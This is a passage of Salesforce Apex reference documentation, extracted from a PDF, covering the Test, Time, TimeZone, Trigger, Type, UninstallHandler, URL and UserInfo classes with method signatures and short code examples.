Test.setReadOnlyApplicationMode(true);
// Verify that the application is in read-only mode.
System.assertEquals(
ApplicationReadWriteMode.READ_ONLY,
System.getApplicationReadWriteMode());
// Create a new account object.
Account testAccount2 = new Account(Name = 'TestAccount2');
2642
Test ClassReference
try {
// Get the test account created earlier. Should be successful.
Account testAccountFromDb =
[SELECT Id, Name FROM Account WHERE Name = 'TestAccount'];
System.assertEquals(testAccount.Id, testAccountFromDb.Id);
// Inserts should result in the InvalidReadOnlyUserDmlException
// being thrown.
insert testAccount2;
System.assertEquals(false,true);
}catch (System.InvalidReadOnlyUserDmlException e) {
// Expected
}
// Insertion should work after read only application mode gets disabled.
Test.setReadOnlyApplicationMode(false);
insert testAccount2;
Account testAccount2FromDb =
[SELECT Id, Name FROM Account WHERE Name = 'TestAccount2'];
System.assertEquals(testAccount2.Id, testAccount2FromDb.Id);
}
}
startTest()
Marks the point in your test code when your test actually begins. Use this method when you are testing governor limits.
Signature
public static Void startTest()
Return Value
Type: Void
Usage
You can also use this method with stopTest to ensure that all asynchronous calls that come after the startTest method are
run before doing any assertions or testing. Each test method is allowed to call this method only once. All of the code before this method
should be used to initialize variables, populate data structures, and so on, allowing you to set up everything you need to run your test.
Any code that executes after the call to startTest and before stopTest is assigned a new set of governor limits.
stopTest()
Marks the point in your test code when your test ends. Use this method in conjunction with the startTest method.
Signature
public static Void stopTest()
2643
Test ClassReference
Return Value
Type: Void
Usage
Each test method is allowed to call this method only once. Any code that executes after the stopTest method is assigned the original
limits that were in effect before startTest was called. All asynchronous calls made after the startTest method are collected
by the system. When stopTest is executed, all asynchronous processes are run synchronously.
Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not count
against your limits for the number of queued jobs.
testInstall(installImplementation, version, isPush)
Tests the implementation of the InstallHandler interface, which is used for specifying a post install script in packages. Tests run as the
test initiator in the development environment.
Signature
public static Void testInstall(InstallHandler installImplementation, Version version,
Boolean isPush)
Parameters
installImplementation
Type: System.InstallHandler
A class that implements the InstallHandler interface.
version
Type: System.Version
The version number of the existing package installed in the subscriber organization.
isPush
Type: Boolean
(Optional) Specifies whether the upgrade is a push. The default value is false.
Return Value
Type: Void
Usage
This method throws a run-time exception if the test install fails.
Example
@isTest static void test() {
PostInstallClass postinstall =
new PostInstallClass();
Test.testInstall(postinstall,
2644
Test ClassReference
new Version(1,0));
}
testUninstall(uninstallImplementation)
Tests the implementation of the UninstallHandler interface, which is used for specifying an uninstall script in packages. Tests run as the
test initiator in the development environment.
Signature
public static Void testUninstall(UninstallHandler uninstallImplementation)
Parameters
uninstallImplementation
Type: System.UninstallHandler
A class that implements the UninstallHandler interface.
Return Value
Type: Void
Usage
This method throws a run-time exception if the test uninstall fails.
Example
@isTest static void test() {
UninstallClass uninstall =
new UninstallClass();
Test.testUninstall(uninstall);
}
Time Class
Contains methods for the Time primitive data type.
Namespace
System
Usage
For more information on time, see Primitive Data Types on page 27.
Time Methods
The following are methods for Time.
2645
Time ClassReference
IN THIS SECTION:
addHours(additionalHours)
Adds the specified number of hours to a Time.
addMilliseconds(additionalMilliseconds)
Adds the specified number of milliseconds to a Time.
addMinutes(additionalMinutes)
Adds the specified number of minutes to a Time.
addSeconds(additionalSeconds)
Adds the specified number of seconds to a Time.
hour()
Returns the hour component of a Time.
millisecond()
Returns the millisecond component of a Time.
minute()
Returns the minute component of a Time.
newInstance(hour, minutes, seconds, milliseconds)
Constructs a Time from Integer representations of the specified hour, minutes, seconds, and milliseconds.
second()
Returns the second component of a Time.
addHours(additionalHours)
Adds the specified number of hours to a Time.
Signature
public Time addHours(Integer additionalHours)
Parameters
additionalHours
Type: Integer
Return Value
Type: Time
Example
Time myTime = Time.newInstance(1, 2, 3, 4);
Time expected = Time.newInstance(4, 2, 3, 4);
System.assertEquals(expected, myTime.addHours(3));
addMilliseconds(additionalMilliseconds)
Adds the specified number of milliseconds to a Time.
2646
Time ClassReference
Signature
public Time addMilliseconds(Integer additionalMilliseconds)
Parameters
additionalMilliseconds
Type: Integer
Return Value
Type: Time
Example
Time myTime = Time.newInstance(1, 2, 3, 0);
Time expected = Time.newInstance(1, 2, 4, 400);
System.assertEquals(expected, myTime.addMilliseconds(1400));
addMinutes(additionalMinutes)
Adds the specified number of minutes to a Time.
Signature
public Time addMinutes(Integer additionalMinutes)
Parameters
additionalMinutes
Type: Integer
Return Value
Type: Time
Example
Time myTime = Time.newInstance(18, 30, 2, 20);
Integer myMinutes = myTime.minute();
myMinutes = myMinutes + 5;
System.assertEquals(myMinutes, 35);
addSeconds(additionalSeconds)
Adds the specified number of seconds to a Time.
Signature
public Time addSeconds(Integer additionalSeconds)
2647
Time ClassReference
Parameters
additionalSeconds
Type: Integer
Return Value
Type: Time
Example
Time myTime = Time.newInstance(1, 2, 55, 0);
Time expected = Time.newInstance(1, 3, 5, 0);
System.assertEquals(expected, myTime.addSeconds(10));
hour()
Returns the hour component of a Time.
Signature
public Integer hour()
Return Value
Type: Integer
Example
Time myTime = Time.newInstance(18, 30, 2, 20);
myTime = myTime.addHours(2);
Integer myHour = myTime.hour();
System.assertEquals(myHour, 20);
millisecond()
Returns the millisecond component of a Time.
Signature
public Integer millisecond()
Return Value
Type: Integer
Example
Time myTime = Time.newInstance(3, 14, 15, 926);
System.assertEquals(926, myTime.millisecond());
2648
Time ClassReference
minute()
Returns the minute component of a Time.
Signature
public Integer minute()
Return Value
Type: Integer
Example
Time myTime = Time.newInstance(3, 14, 15, 926);
System.assertEquals(14, myTime.minute());
newInstance(hour, minutes, seconds, milliseconds)
Constructs a Time from Integer representations of the specified hour, minutes, seconds, and milliseconds.
Signature
public static Time newInstance(Integer hour, Integer minutes, Integer seconds, Integer
milliseconds)
Parameters
hour
Type: Integer
minutes
Type: Integer
seconds
Type: Integer
milliseconds
Type: Integer
Return Value
Type: Time
Example
The following example creates a time of 18:30:2:20.
Time myTime =
Time.newInstance(18, 30, 2, 20);
2649
Time ClassReference
second()
Returns the second component of a Time.
Signature
public Integer second()
Return Value
Type: Integer
Example
Time myTime = Time.newInstance(3, 14, 15, 926);
System.assertEquals(15, myTime.second());
TimeZone Class
Represents a time zone. Contains methods for creating a new time zone and obtaining time zone properties, such as the time zone ID,
offset, and display name.
Namespace
System
Usage
You can use the methods in this class to get properties of a time zone, such as the properties of the time zone returned by
UserInfo.getTimeZone, or the time zone returned by getTimeZone of this class.
Example
This example shows how to get properties of the current user’s time zone and displays them to the debug log.
TimeZone tz = UserInfo.getTimeZone();
System.debug('Display name: ' + tz.getDisplayName());
System.debug('ID: ' + tz.getID());
// During daylight saving time for the America/Los_Angeles time zone
System.debug('Offset: ' + tz.getOffset(DateTime.newInstance(2012,10,23,12,0,0)));
// Not during daylight saving time for the America/Los_Angeles time zone
System.debug('Offset: ' + tz.getOffset(DateTime.newInstance(2012,11,23,12,0,0)));
System.debug('String format: ' + tz.toString());
The output of this sample varies based on the user's time zone. This is an example output if the user’s time zone is America/Los_Angeles.
For this time zone, daylight saving time is -7 hours from GMT (-25200000 milliseconds) and standard time is -8 hours from GMT (-28800000
milliseconds).
Display name: Pacific Standard Time
ID: America/Los_Angeles
Offset: -25200000
2650
TimeZone ClassReference
Offset: -28800000
String format: America/Los_Angeles
This second example shows how to create a time zone for the New York time zone and get the offset of this time zone to the GMT time
zone. The example uses two dates to get the offset from. One date is before DST, and one is after DST. In 2000, DST ended on Sunday,
October 29 for the New York time zone. Because the date occurs after DST ends, the offset on the first date is –5 hours to GMT. In 2012,
DST ended on Sunday, November 4. Because the date is within DST, the offset on the second date is –4 hours.
// Get the New York time zone
Timezone tz = Timezone.getTimeZone('America/New_York');
// Create a date before the 2007 shift of DST into November
DateTime dtpre = DateTime.newInstanceGMT(2000, 11, 1, 0, 0, 0);
system.debug(tz.getOffset(dtpre)); //-18000000 (= -5 hours = EST)
// Create a date after the 2007 shift of DST into November
DateTime dtpost = DateTime.newInstanceGMT(2012, 11, 1, 0, 0, 0);
system.debug(tz.getOffset(dtpost)); //-14400000 (= -4 hours = EDT)
This next example is similar to the previous one except that it gets the offset around the boundary of DST. In 2014, DST ended on Sunday,
November 2 at 2:00 AM local time for the New York time zone. The first offset is obtained right before DST ends, and the second offset
is obtained right after DST ends. The dates are created by using the DateTime.newInstanceGMT method. This method expects
the passed-in date values to be based on the GMT time zone.
// Get the New York time zone
Timezone tz = Timezone.getTimeZone('America/New_York');
// Before DST ends
DateTime dtpre = DateTime.newInstanceGMT(2014, 11, 2, 5, 59, 59); //1:59:59AM local
system.debug(tz.getOffset(dtpre)); //-14400000 (= -4 hours = still on DST)
// After DST ends
DateTime dtpost = DateTime.newInstanceGMT(2014, 11, 2, 6, 0, 0); //1:00:00AM local
system.debug(tz.getOffset(dtpost)); //-18000000 (= -5 hours = back one hour)
TimeZone Methods
The following are methods for TimeZone.
IN THIS SECTION:
getDisplayName()
Returns this time zone’s display name.
getID()
Returns this time zone’s ID.
getOffset(date)
Returns the time zone offset, in milliseconds, of the specified date to the GMT time zone.
getTimeZone(timeZoneIdString)
Returns the time zone corresponding to the specified time zone ID.
toString()
Returns the string representation of this time zone.
2651
TimeZone ClassReference
getDisplayName()
Returns this time zone’s display name.
Signature
public String getDisplayName()
Return Value
Type: String
getID()
Returns this time zone’s ID.
Signature
public String getID()
Return Value
Type: String
getOffset(date)
Returns the time zone offset, in milliseconds, of the specified date to the GMT time zone.
Signature
public Integer getOffset(Datetime date)
Parameters
date
Type: Datetime
The date argument is the date and time to evaluate.
Return Value
Type: Integer
Usage
Note: The returned offset is adjusted for daylight saving time if the date argument falls within daylight saving time for this time
zone.
getTimeZone(timeZoneIdString)
Returns the time zone corresponding to the specified time zone ID.
2652
TimeZone ClassReference
Signature
public static TimeZone getTimeZone(String timeZoneIdString)
Parameters
timeZoneIdString
Type: String
The time zone values you can use for the Id argument are any valid time zone values that the Java TimeZone class supports.
Return Value
Type: TimeZone
Example
TimeZone tz = TimeZone.getTimeZone('America/Los_Angeles');
System.assertEquals(
'Pacific Standard Time',
tz.getDisplayName());
toString()
Returns the string representation of this time zone.
Signature
public String toString()
Return Value
Type: String
Trigger Class
Use the Trigger class to access run-time context information in a trigger, such as the type of trigger or the list of sObject records
that the trigger operates on.
Namespace
System
Trigger Context Variables
The Trigger class provides the following context variables.
UsageVariable
Returns true if the current context for the Apex code is a trigger, not a Visualforce page, a Web service,
or an executeanonymous() API call.
isExecuting
2653
Trigger ClassReference
UsageVariable
Returns true if this trigger was fired due to an insert operation, from the Salesforce user interface,
Apex, or the API.
isInsert
Returns true if this trigger was fired due to an update operation, from the Salesforce user interface,
Apex, or the API.
isUpdate
Returns true if this trigger was fired due to a delete operation, from the Salesforce user interface,
Apex, or the API.
isDelete
Returns true if this trigger was fired before any record was saved.isBefore
Returns true if this trigger was fired after all records were saved.isAfter
Returns true if this trigger was fired after a record is recovered from the Recycle Bin (that is, after
an undelete operation from the Salesforce user interface, Apex, or the API.)
isUndelete
Returns a list of the new versions of the sObject records.
This sObject list is only available in insert, update, and undelete triggers, and the records
can only be modified in before triggers.
new
A map of IDs to the new versions of the sObject records.
This map is only available in before update, after insert, after update, and
after undelete triggers.
newMap
Returns a list of the old versions of the sObject records.
This sObject list is only available in update and delete triggers.
old
A map of IDs to the old versions of the sObject records.
This map is only available in update and delete triggers.
oldMap
The total number of records in a trigger invocation, both old and new.size
Note: If any record that fires a trigger includes an invalid field value (for example, a formula that divides by zero), that value is set
to null in the new, newMap, old, and oldMap trigger context variables.
Example
For example, in this simple trigger, Trigger.new is a list of sObjects and can be iterated over in a for loop, or used as a bind
variable in the IN clause of a SOQL query.
Trigger simpleTrigger on Account (after insert) {
for (Account a : Trigger.new) {
// Iterate over each sObject
}
// This single query finds every contact that is associated with any of the
// triggering accounts. Note that although Trigger.new is a collection of
// records, when used as a bind variable in a SOQL query, Apex automatically
2654
Trigger ClassReference
// transforms the list of records into a list of corresponding Ids.
Contact[] cons = [SELECT LastName FROM Contact
WHERE AccountId IN :Trigger.new];
}
This trigger uses Boolean context variables like Trigger.isBefore and Trigger.isDelete to define code that only executes
for specific trigger conditions:
trigger myAccountTrigger on Account(before delete, before insert, before update,
after delete, after insert, after update) {
if (Trigger.isBefore) {
if (Trigger.isDelete) {
// In a before delete trigger, the trigger accesses the records that will be
// deleted with the Trigger.old list.
for (Account a : Trigger.old) {
if (a.name != 'okToDelete') {
a.addError('You can\'t delete this record!');
}
}
}else {
// In before insert or before update triggers, the trigger accesses the new records
// with the Trigger.new list.
for (Account a : Trigger.new) {
if (a.name == 'bad') {
a.name.addError('Bad name');
}
}
if (Trigger.isInsert) {
for (Account a : Trigger.new) {
System.assertEquals('xxx', a.accountNumber);
System.assertEquals('industry', a.industry);
System.assertEquals(100, a.numberofemployees);
System.assertEquals(100.0, a.annualrevenue);
a.accountNumber = 'yyy';
}
// If the trigger is not a before trigger, it must be an after trigger.
}else {
if (Trigger.isInsert) {
List<Contact> contacts = new List<Contact>();
for (Account a : Trigger.new) {
if(a.Name == 'makeContact') {
contacts.add(new Contact (LastName = a.Name,
AccountId = a.Id));
}
}
insert contacts;
}
}
}}}
2655
Trigger ClassReference
Type Class
Contains methods for getting the Apex type that corresponds to an Apex class and for instantiating new types.
Namespace
System
Usage
Use the forName methods to retrieve the type of an Apex class, which can be a built-in or a user-defined class. Also, use the
newInstance method if you want to instantiate a Type that implements an interface and call its methods while letting someone
else, such as a subscriber of your package, provide the methods’ implementations.
Example: Instantiating a Type Based on Its Name
The following sample shows how to use the Type methods to instantiate a Type based on its name. A typical application of this scenario
is when a package subscriber provides a custom implementation of an interface that is part of an installed package. The package can
get the name of the class that implements the interface through a custom setting in the subscriber’s org. The package can then instantiate
the type that corresponds to this class name and invoke the methods that the subscriber implemented.
In this sample, Vehicle represents the interface that the VehicleImpl class implements. The last class contains the code sample
that invokes the methods implemented in VehicleImpl.
This is the Vehicle interface.
global interface Vehicle {
Long getMaxSpeed();
String getType();
}
This is the implementation of the Vehicle interface.
global class VehicleImpl implements Vehicle {
global Long getMaxSpeed() { return 100; }
global String getType() { return 'Sedan'; }
}
The method in this class gets the name of the class that implements the Vehicle interface through a custom setting value. It then
instantiates this class by getting the corresponding type and calling the newInstance method. Next, it invokes the methods
implemented in VehicleImpl. This sample requires that you create a public list custom setting named CustomImplementation
with a text field named className. Create one record for this custom setting with a data set name of Vehicle and a class name
value of VehicleImpl.
public class CustomerImplInvocationClass {
public static void invokeCustomImpl() {
// Get the class name from a custom setting.
// This class implements the Vehicle interface.
CustomImplementation__c cs = CustomImplementation__c.getInstance('Vehicle');
// Get the Type corresponding to the class name
Type t = Type.forName(cs.className__c);
2656
Type ClassReference
// Instantiate the type.
// The type of the instantiated object
// is the interface.
Vehicle v = (Vehicle)t.newInstance();
// Call the methods that have a custom implementation
System.debug('Max speed: ' + v.getMaxSpeed());
System.debug('Vehicle type: ' + v.getType());
}
}
Class Property
The class property returns the System.Type of the type it is called on. It is exposed on all Apex built-in types including primitive
data types and collections, sObject types, and user-defined classes. This property can be used instead of forName methods.
Call this property on the type name. For example:
System.Type t = Integer.class;
You can use this property for the second argument of JSON.deserialize, deserializeStrict,
JSONParser.readValueAs, and readValueAsStrict methods to get the type of the object to deserialize. For example:
Decimal n=(Decimal)JSON.deserialize('100.1',Decimal.class);
Type Methods
The following are methods for Type.
IN THIS SECTION:
equals(typeToCompare)
Returns true if the specified type is equal to the current type; otherwise, returns false.
forName(fullyQualifiedName)
Returns the type that corresponds to the specified fully qualified class name.
forName(namespace, name)
Returns the type that corresponds to the specified namespace and class name.
getName()
Returns the name of the current type.
hashCode()
Returns a hash code value for the current type.
newInstance()
Creates an instance of the current type and returns this new instance.
toString()
Returns a string representation of the current type, which is the type name.
equals(typeToCompare)
Returns true if the specified type is equal to the current type; otherwise, returns false.
2657
Type ClassReference
Signature
public Boolean equals(Object typeToCompare)
Parameters
typeToCompare
Type: Object
The type to compare with the current type.
Return Value
Type: Boolean
Example
Type t1 = Account.class;
Type t2 = Type.forName('Account');
System.assert(t1.equals(t2));
forName(fullyQualifiedName)
Returns the type that corresponds to the specified fully qualified class name.
Signature
public static System.Type forName(String fullyQualifiedName)
Parameters
fullyQualifiedName
Type: String
The fully qualified name of the class to get the type of. The fully qualified class name contains the namespace name, for example,
MyNamespace.ClassName.
Return Value
Type: System.Type
Usage
Note:
•This method returns null if called outside a managed package to get the type of a non-global class in a managed package.
This is because the non-global class is not visible outside the managed package. For Apex saved using Salesforce API version
27.0 and earlier, this method does return the corresponding class type for the non-global managed package class.
•When called from an installed managed package to get the name of a local type in an organization with no defined namespace,
the forName(fullyQualifiedName) method returns null. Instead, use the forName(namespace, name)
method and specify an empty string or null for the namespace argument.
2658
Type ClassReference
forName(namespace, name)
Returns the type that corresponds to the specified namespace and class name.
Signature
public static System.Type forName(String namespace, String name)
Parameters
namespace
Type: String
The namespace of the class. If the class doesn't have a namespace, set the namespace argument to null or an empty string.
name
Type: String
The name of the class.
Return Value
Type: System.Type
Usage
Note:
•This method returns null if called outside a managed package to get the type of a non-global class in a managed package.
This is because the non-global class is not visible outside the managed package. For Apex saved using Salesforce API version
27.0 and earlier, this method does return the corresponding class type for the non-global managed package class.
•Use this method instead of forName(fullyQualifiedName) if it will be called from a managed package installed
in an organization with no defined namespace. To get the name of a local type, set the namespace argument to an empty
string or null. For example, Type t = Type.forName('','ClassName');.
Example
This example shows how to get the type that corresponds to the ClassName class and the MyNamespace namespace.
Type myType =
Type.forName('MyNamespace','ClassName');
getName()
Returns the name of the current type.
Signature
public String getName()
Return Value
Type: String
2659
Type ClassReference
Example
This example shows how to get a Type’s name. It first obtains a Type by calling forName, then calls getName on the Type object.
Type t =
Type.forName('MyClassName');
String typeName =
t.getName();
System.assertEquals('MyClassName',
typeName);
hashCode()
Returns a hash code value for the current type.
Signature
public Integer hashCode()
Return Value
Type: Integer
Usage
The returned hash code value corresponds to the type name hash code that String.hashCode returns.
newInstance()
Creates an instance of the current type and returns this new instance.
Signature
public Object newInstance()
Return Value
Type: Object
Usage
Because newInstance returns the generic object type, you should cast the return value to the type of the variable that will hold this
value.
This method enables you to instantiate a Type that implements an interface and call its methods while letting someone else provide
the methods’ implementation. For example, a package developer can provide an interface that a subscriber who installs the package
can implement. The code in the package calls the subscriber's implementation of the interface methods by instantiating the subscriber’s
Type.
Note: Calling this method on a type corresponding to a class that has a private no-argument constructor results in a
System.TypeException, as expected because the type can’t be instantiated. For Apex saved using Salesforce API version
28.0 and earlier, this method returns an instance of the class instead.
2660
Type ClassReference
Example
This example shows how to create an instance of a Type. It first gets a Type by calling forName with the name of a class (ShapeImpl),
then calls newInstance on this Type object. The newObj instance is declared with the interface type (Shape) that the ShapeImpl
class implements. The return value of the newInstance method is cast to the Shape type.
Type t =
Type.forName('ShapeImpl');
Shape newObj =
(Shape)t.newInstance();
toString()
Returns a string representation of the current type, which is the type name.
Signature
public String toString()
Return Value
Type: String
Usage
This method returns the same value as getName. String.valueOf and System.debug use this method to convert their
Type argument into a String.
Example
This example calls toString on the Type corresponding to a list of Integers.
Type t = List<Integer>.class;
String s = t.toString();
System.assertEquals('List<Integer>', s);
UninstallHandler Interface
Enables custom code to run after a managed package is uninstalled.
Namespace
System
Usage
App developers can implement this interface to specify Apex code that runs automatically after a subscriber uninstalls a managed
package. This makes it possible to perform cleanup and notification tasks based on details of the subscriber’s organization.
2661
UninstallHandler InterfaceReference
The uninstall script is subject to default governor limits. It runs as a special system user that represents your package, so all operations
performed by the script will appear to be done by your package. You can access this user by using UserInfo. You will only see this user
at runtime, not while running tests.
If the script fails, the uninstall continues but none of the changes performed by the script are committed. Any errors in the script are
emailed to the user specified in the Notify on Apex Error field of the package. If no user is specified, the uninstall details will be
unavailable.
The uninstall script has the following restrictions. You can’t use it to initiate batch, scheduled, and future jobs, to access Session IDs, or
to perform callouts.
The UninstallHandler interface has a single method called onUninstall, which specifies the actions to be performed on
uninstall.
global interface UninstallHandler {
void onUninstall(UninstallContext context)};
The onUninstall method takes a context object as its argument, which provides the following information.
•The org ID of the organization in which the uninstall takes place.
•The user ID of the user who initiated the uninstall.
The context argument is an object whose type is the UninstallContext interface. This interface is automatically implemented
by the system. The following definition of the UninstallContext interface shows the methods you can call on the context
argument.
global interface UninstallContext {
ID organizationId();
ID uninstallerId();
}
IN THIS SECTION:
UninstallHandler Methods
UninstallHandler Example Implementation
UninstallHandler Methods
The following are methods for UninstallHandler.
IN THIS SECTION:
onUninstall(context)
Specifies the actions to be performed on uninstall.
onUninstall(context)
Specifies the actions to be performed on uninstall.
Signature
public Void onUninstall(UninstallContext context)
2662
UninstallHandler InterfaceReference
Parameters
context
Type: UninstallContext
Return Value
Type: Void
UninstallHandler Example Implementation
Example of an Uninstall Script
The sample uninstall script below performs the following actions on package uninstall.
•Inserts an entry in the feed describing which user did the uninstall and in which organization
•Creates and sends an email message confirming the uninstall to that user
global class UninstallClass implements UninstallHandler {
global void onUninstall(UninstallContext ctx) {
FeedItem feedPost = new FeedItem();
feedPost.parentId = ctx.uninstallerID();
feedPost.body = 'Thank you for using our application!';
insert feedPost;
User u = [Select Id, Email from User where Id =:ctx.uninstallerID()];
String toAddress= u.Email;
String[] toAddresses = new String[] {toAddress};
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
mail.setToAddresses(toAddresses);
mail.setReplyTo('support@package.dev');
mail.setSenderDisplayName('My Package Support');
mail.setSubject('Package uninstall successful');
mail.setPlainTextBody('Thanks for uninstalling the package.');
Messaging.sendEmail(new Messaging.Email[] { mail });
}
}
You can test an uninstall script using the testUninstall method of the Test class. This method takes as its argument a class
that implements the UninstallHandler interface.
This sample shows how to test an uninstall script implemented in the UninstallClass Apex class.
@isTest
static void testUninstallScript() {
Id UninstallerId = UserInfo.getUserId();
List<FeedItem> feedPostsBefore =
[SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];
Test.testUninstall(new UninstallClass());
List<FeedItem> feedPostsAfter =
[SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];
System.assertEquals(feedPostsBefore.size() + 1, feedPostsAfter.size(),
'Post to uninstaller failed.');
}
2663
UninstallHandler InterfaceReference
URL Class
Represents a uniform resource locator (URL) and provides access to parts of the URL. Enables access to the Salesforce instance URL.
Namespace
System
Usage
Use the methods of the System.URL class to create links to objects in your organization. Such objects can be files, images, logos, or
records that you want to include in external emails, in activities, or in Chatter posts. For example, you can create a link to a file uploaded
as an attachment to a Chatter post by concatenating the Salesforce base URL with the file ID, as shown in the following example:
// Get a file uploaded through Chatter.
ContentDocument doc = [SELECT Id FROM ContentDocument
WHERE Title = 'myfile'];
// Create a link to the file.
String fullFileURL = URL.getSalesforceBaseUrl().toExternalForm() +
'/' + doc.id;
system.debug(fullFileURL);
The following example creates a link to a Salesforce record. The full URL is created by concatenating the Salesforce base URL with the
record ID.
Account acct = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1];
String fullRecordURL = URL.getSalesforceBaseUrl().toExternalForm() + '/' + acct.Id;
Example
In this example, the base URL and the full request URL of the current Salesforce server instance are retrieved. Next, a URL pointing to a
specific account object is created. Finally, components of the base and full URL are obtained. This example prints out all the results to
the debug log output.
// Create a new account called Acme that we will create a link for later.
Account myAccount = new Account(Name='Acme');
insert myAccount;
// Get the base URL.
String sfdcBaseURL = URL.getSalesforceBaseUrl().toExternalForm();
System.debug('Base URL: ' + sfdcBaseURL );
// Get the URL for the current request.
String currentRequestURL = URL.getCurrentRequestUrl().toExternalForm();
System.debug('Current request URL: ' + currentRequestURL);
// Create the account URL from the base URL.
String accountURL = URL.getSalesforceBaseUrl().toExternalForm() +
'/' + myAccount.Id;
System.debug('URL of a particular account: ' + accountURL);
2664
URL ClassReference
// Get some parts of the base URL.
System.debug('Host: ' + URL.getSalesforceBaseUrl().getHost());
System.debug('Protocol: ' + URL.getSalesforceBaseUrl().getProtocol());
// Get the query string of the current request.
System.debug('Query: ' + URL.getCurrentRequestUrl().getQuery());
IN THIS SECTION:
URL Constructors
URL Methods
URL Constructors
The following are constructors for URL.
IN THIS SECTION:
Url(spec)
Creates a new instance of the URL class using the specified string representation of the URL.
Url(context, spec)
Creates a new instance of the URL class by parsing the specified spec within the specified context.
Url(protocol, host, file)
Creates a new instance of the URL class using the specified protocol, host, and file on the host. The default port for the specified
protocol is used.
Url(protocol, host, port, file)
Creates a new instance of the URL class using the specified protocol, host, port, and file on the host.
Url(spec)
Creates a new instance of the URL class using the specified string representation of the URL.
Signature
public Url(String spec)
Parameters
spec
Type: String
The string to parse as a URL.
Url(context, spec)
Creates a new instance of the URL class by parsing the specified spec within the specified context.
2665
URL ClassReference
Signature
public Url(Url context, String spec)
Parameters
context
Type: URL on page 2664
The context in which to parse the specification.
spec
Type: String
The string to parse as a URL.
Usage
The new URL is created from the given context URL and the spec argument as described in RFC2396 "Uniform Resource Identifiers :
Generic * Syntax" :
<scheme>://<authority><path>?<query>#<fragment>
For more information about the arguments of this constructor, see the corresponding URL(java.net.URL, java.lang.String) constructor for
Java.
Url(protocol, host, file)
Creates a new instance of the URL class using the specified protocol, host, and file on the host. The default port for the specified protocol
is used.
Signature
public Url(String protocol, String host, String file)
Parameters
protocol
Type: String
The protocol name for this URL.
host
Type: String
The host name for this URL.
file
Type: String
The file name for this URL.
Url(protocol, host, port, file)
Creates a new instance of the URL class using the specified protocol, host, port, and file on the host.
2666
URL ClassReference
Signature
public Url(String protocol, String host, Integer port, String file)
Parameters
protocol
Type: String
The protocol name for this URL.
host
Type: String
The host name for this URL.
port
Type: Integer
The port number for this URL.
file
Type: String
The file name for this URL.
URL Methods
The following are methods for URL.
IN THIS SECTION:
getAuthority()
Returns the authority portion of the current URL.
getCurrentRequestUrl()
Returns the URL of an entire request on a Salesforce instance.
getDefaultPort()
Returns the default port number of the protocol associated with the current URL.
getFile()
Returns the file name of the current URL.
getFileFieldURL(entityId, fieldName)
Returns the download URL for a file attachment.
getHost()
Returns the host name of the current URL.
getPath()
Returns the path portion of the current URL.
getPort()
Returns the port of the current URL.
getProtocol()
Returns the protocol name of the current URL, such as, https.
2667
URL ClassReference
getQuery()
Returns the query portion of the current URL.
getRef()
Returns the anchor of the current URL.
getSalesforceBaseUrl()
Returns the URL of the Salesforce instance.
getUserInfo()
Gets the UserInfo portion of the current URL.
sameFile(URLToCompare)
Compares the current URL with the specified URL object, excluding the fragment component.
toExternalForm()
Returns a string representation of the current URL.
getAuthority()
Returns the authority portion of the current URL.
Signature
public String getAuthority()
Return Value
Type: String
getCurrentRequestUrl()
Returns the URL of an entire request on a Salesforce instance.
Signature
public static System.URL getCurrentRequestUrl()
Return Value
Type: System.URL
Usage
An example of a URL for an entire request is https://yourInstance.salesforce.com/apex/myVfPage.apexp.
getDefaultPort()
Returns the default port number of the protocol associated with the current URL.
Signature
public Integer getDefaultPort()
2668
URL ClassReference
Return Value
Type: Integer
Usage
Returns -1 if the URL scheme or the stream protocol handler for the URL doesn't define a default port number.
getFile()
Returns the file name of the current URL.
Signature
public String getFile()
Return Value
Type: String
getFileFieldURL(entityId, fieldName)
Returns the download URL for a file attachment.
Signature
public static String getFileFieldURL(String entityId, String fieldName)
Parameters
entityId
Type: String
Specifies the ID of the entity that holds the file data.
fieldName
Type: String
Specifies the API name of a file field component, such as AttachmentBody.
Return Value
Type: String
Usage
Example:
Example
String fileURL =
URL.getFileFieldURL(
2669
URL ClassReference
'087000000000123' ,
'AttachmentBody');
getHost()
Returns the host name of the current URL.
Signature
public String getHost()
Return Value
Type: String
getPath()
Returns the path portion of the current URL.
Signature
public String getPath()
Return Value
Type: String
getPort()
Returns the port of the current URL.
Signature
public Integer getPort()
Return Value
Type: Integer
getProtocol()
Returns the protocol name of the current URL, such as, https.
Signature
public String getProtocol()
Return Value
Type: String
2670
URL ClassReference
getQuery()
Returns the query portion of the current URL.
Signature
public String getQuery()
Return Value
Type: String
Usage
Returns null if no query portion exists.
getRef()
Returns the anchor of the current URL.
Signature
public String getRef()
Return Value
Type: String
Usage
Returns null if no query portion exists.
getSalesforceBaseUrl()
Returns the URL of the Salesforce instance.
Signature
public static System.URL getSalesforceBaseUrl()
Return Value
Type: System.URL
Usage
An example of an instance URL is https://yourInstance.salesforce.com/.
getUserInfo()
Gets the UserInfo portion of the current URL.
2671
URL ClassReference
Signature
public String getUserInfo()
Return Value
Type: String
Usage
Returns null if no UserInfo portion exists.
sameFile(URLToCompare)
Compares the current URL with the specified URL object, excluding the fragment component.
Signature
public Boolean sameFile(System.URL URLToCompare)
Parameters
URLToCompare
Type: System.URL
Return Value
Type: Boolean
Returns true if both URL objects reference the same remote resource; otherwise, returns false.
Usage
For more information about the syntax of URIs and fragment components, see RFC3986.
toExternalForm()
Returns a string representation of the current URL.
Signature
public String toExternalForm()
Return Value
Type: String
UserInfo Class
Contains methods for obtaining information about the context user.
2672
UserInfo ClassReference
Namespace
System
UserInfo Methods
The following are methods for UserInfo. All methods are static.
IN THIS SECTION:
getDefaultCurrency()
Returns the context user's default currency code for multiple currency organizations or the organization's currency code for single
currency organizations.
getFirstName()
Returns the context user's first name
getLanguage()
Returns the context user's language
getLastName()
Returns the context user's last name
getLocale()
Returns the context user's locale.
getName()
Returns the context user's full name. The format of the name depends on the language preferences specified for the organization.
getOrganizationId()
Returns the context organization's ID.
getOrganizationName()
Returns the context organization's company name.
getProfileId()
Returns the context user's profile ID.
getSessionId()
Returns the session ID for the current session.
getTimeZone()
Returns the current user’s local time zone.
getUiTheme()
Returns the preferred theme for the current user. Use getUiThemeDisplayed to determine the theme actually displayed to
the current user.
getUiThemeDisplayed()
Returns the theme being displayed for the current user.
getUserEmail()
Returns the current user’s email address.
getUserId()
Returns the context user's ID
2673
UserInfo ClassReference
